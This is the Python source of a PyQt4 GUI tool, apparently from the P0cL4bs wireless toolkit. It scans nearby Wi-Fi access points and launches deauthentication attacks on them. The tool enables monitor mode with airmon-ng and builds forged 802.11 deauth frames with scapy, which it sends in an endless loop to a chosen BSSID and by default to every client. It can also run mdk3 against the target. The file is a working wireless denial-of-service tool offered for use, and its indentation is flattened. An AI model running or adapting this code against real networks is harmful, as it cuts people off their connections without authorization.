#The MIT License (MIT)
#Copyright (c) 2015-2016 mh4x0f P0cL4bs Team
#Permission is hereby granted, free of charge, to any person obtaining a copy of
#this software and associated documentation files (the "Software"), to deal in
#the Software without restriction, including without limitation the rights to
#use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
#the Software, and to permit persons to whom the Software is furnished to do so,
#subject to the following conditions:
#The above copyright notice and this permission notice shall be included in all
#copies or substantial portions of the Software.
#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
#FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
#COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
#IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
#CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
from PyQt4.QtGui import *
from PyQt4.QtCore import *
from subprocess import Popen,PIPE
from scapy.all import *
import threading
from os import popen,system,getuid,path,makedirs
from re import search,compile,match
from Core.Settings import frm_Settings
from Modules.utils import Refactor,ProcessThread,airdump_start,get_network_scan
from multiprocessing import Process
from subprocess import Popen,PIPE,STDOUT,call,check_output
threadloading = {'deauth':[],'mdk3':[]}
class frm_window(QMainWindow):
def __init__(self, parent=None):
super(frm_window, self).__init__(parent)
self.form_widget = frm_deauth(self)
self.setCentralWidget(self.form_widget)
self.setWindowTitle("Deauth Attack wireless Route")
self.setWindowIcon(QIcon('rsc/icon.ico'))
self.config = frm_Settings()
self.loadtheme(self.config.XmlThemeSelected())
def loadtheme(self,theme):
sshFile=("Core/%s.qss"%(theme))
with open(sshFile,"r") as fh:
self.setStyleSheet(fh.read())
def closeEvent(self, event):
global threadloading
if len(threadloading['deauth']) != 0 or len(threadloading['mdk3']) != 0:
reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?", QMessageBox.Yes |
QMessageBox.No, QMessageBox.No)
if reply == QMessageBox.Yes:
event.accept()
for i in threadloading['deauth']:
i.terminate()
print("[*] Deuath Thread Terminate")
for i in threadloading['mdk3']:
i.stop(),i.join()
self.deleteLater()
else:
event.ignore()
class frm_deauth(QWidget):
def __init__(self, parent=None):
super(frm_deauth, self).__init__(parent)
self.Main = QVBoxLayout()
self.xmlcheck = frm_Settings()
self.interface = self.xmlcheck.xmlSettings("interface", "monitor_mode", None, False)
self.ap_list = []
self.pacote = []
self.data = {'Bssid':[], 'Essid':[], 'Channel':[]}
self.window_qt()
def select_target(self):
item = self.tables.selectedItems()
if item != []:
self.linetarget.setText(item[2].text())
else:
QMessageBox.critical(self, "Error in row", "Nothing row in tables, please try scan network again")
self.linetarget.clear()
def window_qt(self):
self.mForm = QFormLayout()
self.mForm0 = QFormLayout()
self.statusbar = QStatusBar()
system = QLabel("Deauthentication::")
self.statusbar.addWidget(system)
self.Controlador = QLabel("")
self.AttackStatus(False)
self.tables = QTableWidget(5,3)
self.tables.setFixedWidth(350)
self.tables.setRowCount(100)
self.tables.setFixedHeight(250)
self.tables.setSelectionBehavior(QAbstractItemView.SelectRows)
self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers)
self.tables.clicked.connect(self.select_target)
self.tables.resizeColumnsToContents()
self.tables.resizeRowsToContents()
self.tables.horizontalHeader().resizeSection(1,120)
self.tables.horizontalHeader().resizeSection(0,60)
self.tables.horizontalHeader().resizeSection(2,158)
self.tables.verticalHeader().setVisible(False)
Headers = []
for n, key in enumerate(self.data.keys()):
Headers.append(key)
self.tables.setHorizontalHeaderLabels(Headers)
self.linetarget = QLineEdit(self)
self.input_client = QLineEdit(self)
self.input_client.setText("FF:FF:FF:FF:FF:FF")
self.btn_enviar = QPushButton("Send Attack", self)
self.btn_enviar.clicked.connect(self.attack_deauth)
self.btn_scan = QPushButton(" Network Scan ", self)
self.btn_scan.clicked.connect(self.SettingsScan)
self.btn_stop = QPushButton("Stop Attack ", self)
self.btn_stop.clicked.connect(self.kill_thread)
self.btn_enviar.setFixedWidth(170)
self.btn_stop.setFixedWidth(170)
self.btn_scan.setFixedWidth(120)
#icons
self.btn_scan.setIcon(QIcon("rsc/network.png"))
self.btn_enviar.setIcon(QIcon("rsc/start.png"))
self.btn_stop.setIcon(QIcon("rsc/Stop.png"))
self.time_scan = QComboBox(self)
self.time_scan.addItem("10s")
self.time_scan.addItem("20s")
self.time_scan.addItem("30s")
self.get_placa = QComboBox(self)
n = Refactor.get_interfaces()['all']
for i,j in enumerate(n):
if search("wlan", j):
self.get_placa.addItem(n[i])
#grid options
self.Grid = QGridLayout()
self.options_scan = self.xmlcheck.xmlSettings("scanner_AP", "select", None, False)
if self.options_scan != "scan_scapy":self.time_scan.setEnabled(False)
self.Grid.addWidget(QLabel("Time:"),0,0)
self.Grid.addWidget(self.time_scan,0,1)
self.Grid.addWidget(self.get_placa,0,2)
self.Grid.addWidget(self.btn_scan,0,3)
self.Grid.addWidget(self.btn_scan,0,3)
self.Grid.addWidget(QLabel("bssid:"),1,0)
self.Grid.addWidget(QLabel(" Client:"),1,2)
self.Grid.addWidget(self.linetarget,1,1)
self.Grid.addWidget(self.input_client,1,3)
self.mForm0.addRow(self.tables)
self.mForm.addRow(self.btn_enviar, self.btn_stop)
self.mForm.addRow(self.statusbar)
self.Main.addLayout(self.mForm0)
self.Main.addLayout(self.Grid)
self.Main.addLayout(self.mForm)
self.setLayout(self.Main)
def set_monitor_mode(self,interface, enable=True):
monitor = None
if enable:
result = check_output(['airmon-ng', 'start', interface])
if not "enabled" in result:
QMessageBox.information(self,'error airmon-ng',
'airmon-ng could not enable monitor '+
'mode on device %s.your card not supports monitor mode.' % interface)
try:
monitor = re.search(r"monitor mode enabled on (\w+)", result)
if monitor != None:
return monitor.group(1)
else:
monitor = re.search('on ([^ ]+)',result).group(1).split(']')[1].replace(')\n','')
except:
pass
else:
check_output(['airmon-ng', 'stop', interface],shell=False)
return monitor
def scan_diveces_airodump(self):
dirpath = "Settings/Dump"
if not path.isdir(dirpath):
makedirs(dirpath)
self.data = {'Bssid':[], 'Essid':[], 'Channel':[]}
exit_air = airdump_start(self.interface)
self.fix = False
if exit_air == None:
self.cap = get_network_scan()
if self.cap != None:
for i in self.cap:
i = i.split("||")
if Refactor.check_is_mac(i[2]):
Headers = []
self.data['Channel'].append(i[0])
self.data['Essid'].append(i[1])
self.data['Bssid'].append(i[2])
for n, key in enumerate(self.data.keys()):
Headers.append(key)
for m, item in enumerate(self.data[key]):
item = QTableWidgetItem(item)
item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter)
self.tables.setItem(m, n, item)
self.cap =[]
def kill_thread(self):
global threadloading
for i in threadloading['deauth']:
i.terminate()
for i in threadloading['mdk3']:
i.stop(),i.join()
self.AttackStatus(False)
print("[*] deauth Attack OFF")
def SettingsScan(self):
self.data = {'Bssid':[], 'Essid':[], 'Channel':[]}
if self.get_placa.currentText() == "":
QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.')
else:
if not search(self.interface,check_output('ifconfig')):
self.interface = self.set_monitor_mode(self.get_placa.currentText(),True)
self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False)
if self.time_scan.currentText() == "10s":count = 10
elif self.time_scan.currentText() == "20s":count = 20
elif self.time_scan.currentText() == "30s":count = 30
if self.interface != None:
if self.options_scan == "scan_scapy":
sniff(iface=self.interface, prn =self.Scanner_devices, timeout=count)
t = len(self.ap_list) -1
items,cap = [],[]
for i in range(t):
if len(self.ap_list[i]) < len(self.ap_list[i+1]):
if i != 0:
for index in xrange(self.list.count()):
items.append(self.list.item(index))
if self.ap_list[i] or self.ap_list[i+1] in items:pass
else:
if not (self.ap_list[i] + " " + self.ap_list[i+1]) in cap:
cap.append(self.ap_list[i] + " " + self.ap_list[i+1])
else:
if not (self.ap_list[i] + " " + self.ap_list[i+1]) in cap:
cap.append(self.ap_list[i] + " " + self.ap_list[i+1])
else:
if not (self.ap_list[i+1] + " " + self.ap_list[i]) in cap:
cap.append(self.ap_list[i+1] + " " + self.ap_list[i])
if self.ap_list[i] < i:
pass
break
for i in cap:
dat = i.split()
if Refactor.check_is_mac(dat[3]):
self.data['Channel'].append(dat[0])
self.data['Essid'].append(dat[2])
self.data['Bssid'].append(dat[3])
Headers = []
for n, key in enumerate(self.data.keys()):
Headers.append(key)
for m, item in enumerate(self.data[key]):
item = QTableWidgetItem(item)
item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter)
self.tables.setItem(m, n, item)
self.ap_list = []
else:
self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump)
self.thread_airodump.daemon = True
self.thread_airodump.start()
def Scanner_devices(self,pkt):
if pkt.type == 0 and pkt.subtype == 8:
if pkt.addr2 not in self.ap_list:
self.ap_list.append(pkt.addr2)
self.ap_list.append(str(int(ord(pkt[Dot11Elt:3].info)))+" | " + pkt.info)
print "AP MAC: %s with SSID: %s CH %d"%(pkt.addr2, pkt.info, int(ord(pkt[Dot11Elt:3].info)))
def attack_deauth(self):
global threadloading
if self.linetarget.text() == "":
QMessageBox.information(self, "Target Error", "Please, first select Target for attack")
else:
self.bssid = str(self.linetarget.text())
self.deauth_check = self.xmlcheck.xmlSettings("deauth", "select",None,False)
self.args = str(self.xmlcheck.xmlSettings("mdk3","arguments", None, False))
if self.deauth_check == "packets_scapy":
self.AttackStatus(True)
t = Process(target=self.deauth_attacker, args=(self.bssid,str(self.input_client.text())))
print("[*] deauth Attack On:"+self.bssid)
threadloading['deauth'].append(t)
t.daemon = True
t.start()
else:
self.AttackStatus(True)
t = ProcessThread(("mdk3 mon0 %s %s"%(self.args,self.bssid)).split())
t.name = "mdk3"
threadloading['mdk3'].append(t)
t.start()
def AttackStatus(self,bool):
if bool:
self.Controlador.setText("[ON]")
self.Controlador.setStyleSheet("QLabel { color : green; }")
else:
self.Controlador.setText("[OFF]")
self.Controlador.setStyleSheet("QLabel { color : red; }")
self.statusbar.addWidget(self.Controlador)
def deauth_attacker(self,bssid, client):
conf.verb = 0
conf.iface = self.interface
pkts = []
pkt1 = RadioTap()/Dot11(type=0,
subtype=12,addr1=client,
addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
pkt2 = Dot11(addr1=bssid, addr2=client,
addr3=client)/Dot11Deauth()
pkts.append(pkt1)
pkts.append(pkt2)
while True:
for i in pkts:
sendp(i,verbose=False,count=1)
@pyqtSlot(QModelIndex)
def list_clicked(self, index):
itms = self.list.selectedIndexes()
for i in itms:
attack = str(i.data().toString()).split()
for i in attack:
if Refactor.check_is_mac(i.replace(" ", "")):
self.linetarget.setText(str(i))
if self.linetarget.text() == "":
QMessageBox.information(self, "MacAddress",
"Error check the Mac Target, please set the mac valid.")
